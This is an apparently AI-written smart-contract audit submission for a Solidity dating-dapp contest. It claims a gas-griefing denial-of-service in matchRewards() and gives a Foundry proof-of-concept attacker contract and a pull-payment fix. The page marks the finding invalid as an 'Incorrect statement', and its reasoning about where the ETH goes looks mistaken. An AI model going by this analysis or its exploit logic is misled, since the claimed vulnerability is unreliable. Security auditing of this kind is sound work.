DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Inline MultiSig deployment in matchRewards() — deployment failure reverts the match and permanently traps both users' ETH

Root + Impact

Description

// LikeRegistry.sol — matchRewards()
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
// @> new MultiSigWallet deployment — can fail if gas is insufficient
// @> or if a future constructor change reverts
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
// @> External .call to a contract address the user controls
// @> If `from` or `to` is a contract with a gas-griefing receive(), this reverts
// @> require(success) causes the full transaction to revert, including balance zeroing
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}

Risk

Likelihood:

  • An attacker intentionally registers a contract profile with a gas-griefing receive(). This requires only one griefer address and one victim who likes them — a realistic social-engineering scenario on a dating platform.

Impact:

  • The victim's likeUser() transaction reverts — their 1 ETH is not credited (due to bug #1) and is trapped in the registry with no recovery path.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
// Griefing contract: has a profile NFT but burns all gas on receive
contract GasGriefProfile {
LikeRegistry public registry;
constructor(address _registry) {
registry = LikeRegistry(_registry);
}
function likeVictim(address victim) external payable {
registry.likeUser{value: 1 ether}(victim);
}
// Burns all forwarded gas — causes .call to fail
receive() external payable {
uint256 i;
while (true) { i++; } // infinite loop — exhausts gas
}
}
contract MultiSigDeployDoSTest is Test {
LikeRegistry registry;
SoulboundProfileNFT nft;
address victim = makeAddr("victim");
GasGriefProfile griefContract;
function setUp() public {
nft = new SoulboundProfileNFT();
registry = new LikeRegistry(address(nft));
vm.prank(victim);
nft.mintProfile("Victim", 25, "ipfs://victim");
griefContract = new GasGriefProfile(address(registry));
vm.prank(address(griefContract));
nft.mintProfile("Griefer", 26, "ipfs://griefer");
deal(victim, 2 ether);
deal(address(griefContract), 2 ether);
}
function test_matchDoS() public {
// Victim likes griefer
vm.prank(victim);
registry.likeUser{value: 1 ether}(address(griefContract));
// Griefer likes victim back — triggers matchRewards → receive() gas exhaustion → revert
vm.expectRevert();
griefContract.likeVictim{value: 1 ether}(victim);
// Victim's 1 ETH is now trapped with no withdrawal path
assertEq(address(registry).balance, 1 ether);
}
}

Recommended Mitigation

Replace the push-payment model with a pull-payment (withdrawal) pattern. Store the deployed MultiSig address and let users claim their funds separately, so a failed ETH transfer never reverts the match state:

// Add to LikeRegistry state
mapping(address => address) public matchWallet; // user => their multisig
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
userBalances[from] = 0;
userBalances[to] = 0;
uint256 totalRewards = matchUserOne + matchUserTwo;
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
// @> Deploy MultiSig — but don't push ETH inline
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
address walletAddr = address(multiSigWallet);
// @> Record wallet address for both users to claim
matchWallet[from] = walletAddr;
matchWallet[to] = walletAddr;
// @> Store claimable amount separately
pendingRewards[walletAddr] = rewards;
}
// @> Users (or anyone) can trigger the fund transfer after the match
function claimMatchFunds(address walletAddr) external {
uint256 amount = pendingRewards[walletAddr];
require(amount > 0, "Nothing to claim");
pendingRewards[walletAddr] = 0;
(bool success,) = payable(walletAddr).call{value: amount}("");
require(success, "Transfer failed");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!